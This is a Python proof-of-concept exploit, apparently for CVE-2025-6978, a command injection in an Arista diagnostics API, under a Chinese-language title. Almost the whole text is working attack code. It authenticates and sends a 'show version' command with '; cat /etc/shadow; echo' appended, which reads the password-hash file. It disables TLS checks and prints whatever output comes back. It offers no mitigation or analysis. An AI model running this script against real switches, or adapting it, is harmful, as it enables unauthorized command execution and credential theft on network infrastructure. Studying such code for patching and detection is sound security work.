CVE-2025-6978: Arista Diagnostics命令注入漏洞

# CVE-2025-6978 PoC - Arista Diagnostics Command Injection # This PoC demonstrates the command injection vulnerability in Arista diagnostics import requests import json # Configuration TARGET_IP = "<target_ip>" USERNAME = "admin" PASSWORD = "<password>" # The vulnerable endpoint - diagnostics command execution VULN_ENDPOINT = f"https://{TARGET_IP}/api/v1/diagnostics/exec" # Malicious payload to inject command # This example attempts to read shadow file (will likely fail due to permissions) PAYLOAD = "; cat /etc/shadow; echo" def exploit_cve_2025_6978(): """ Exploit for CVE-2025-6978: Arista Diagnostics Command Injection This function demonstrates how the command injection can be exploited by sending a crafted request to the diagnostics endpoint. """ # Authentication headers auth_headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {get_auth_token()}' } # Normal diagnostics request (legitimate) normal_request = { 'command': 'show version', 'module': 'system' } # Malicious request with command injection payload malicious_request = { 'command': f'show version {PAYLOAD}', 'module': 'system', 'exec_mode': 'privileged' } print(f"[*] Sending malicious request to {VULN_ENDPOINT}") print(f"[*] Payload: {malicious_request}") try: response = requests.post( VULN_ENDPOINT, headers=auth_headers, json=malicious_request, verify=False, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: result = response.json() if 'output' in result: print("\n[!] Command injection successful!") print(f"[!] Command output: {result['output']}") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def get_auth_token(): """ Obtain authentication token for the target device """ login_url = f"https://{TARGET_IP}/api/v1/login" credentials = {'username': USERNAME, 'password': PASSWORD} try: response = requests.post(login_url, json=credentials, verify=False) if response.status_code == 200: return response.json().get('token') except: pass return None if __name__ == "__main__": print("CVE-2025-6978 - Arista Diagnostics Command Injection PoC") print("=" * 60) exploit_cve_2025_6978()